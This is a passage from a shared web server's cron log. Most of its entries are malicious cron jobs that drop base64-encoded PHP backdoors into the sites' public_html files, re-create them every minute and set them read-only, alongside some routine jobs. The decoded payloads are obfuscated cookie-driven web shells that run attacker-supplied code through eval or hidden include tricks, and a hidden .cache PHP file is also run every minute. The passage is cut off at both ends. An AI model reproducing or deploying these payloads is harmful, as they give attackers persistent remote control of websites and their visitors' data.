d2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:11:01 medusa CROND[18542]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:11:01 medusa CROND[18550]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:11:01 medusa CROND[18551]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:11:01 medusa CROND[18558]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:11:01 medusa CROND[18560]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:11:01 medusa CROND[18549]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:11:01 medusa CROND[18561]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:12:01 medusa CROND[8959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:12:01 medusa CROND[9048]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:12:01 medusa CROND[9049]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:12:01 medusa CROND[9051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:12:01 medusa CROND[9053]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:12:01 medusa CROND[9055]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:12:01 medusa CROND[9052]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:12:01 medusa CROND[9056]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:12:01 medusa CROND[9057]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:12:01 medusa CROND[9058]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:12:01 medusa CROND[9061]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:12:02 medusa CROND[9062]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:12:02 medusa CROND[9059]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:12:02 medusa CROND[9066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:13:01 medusa CROND[30935]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:13:01 medusa CROND[30936]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:13:01 medusa CROND[30937]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:13:01 medusa CROND[30938]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:13:01 medusa CROND[30942]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:13:01 medusa CROND[30941]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkK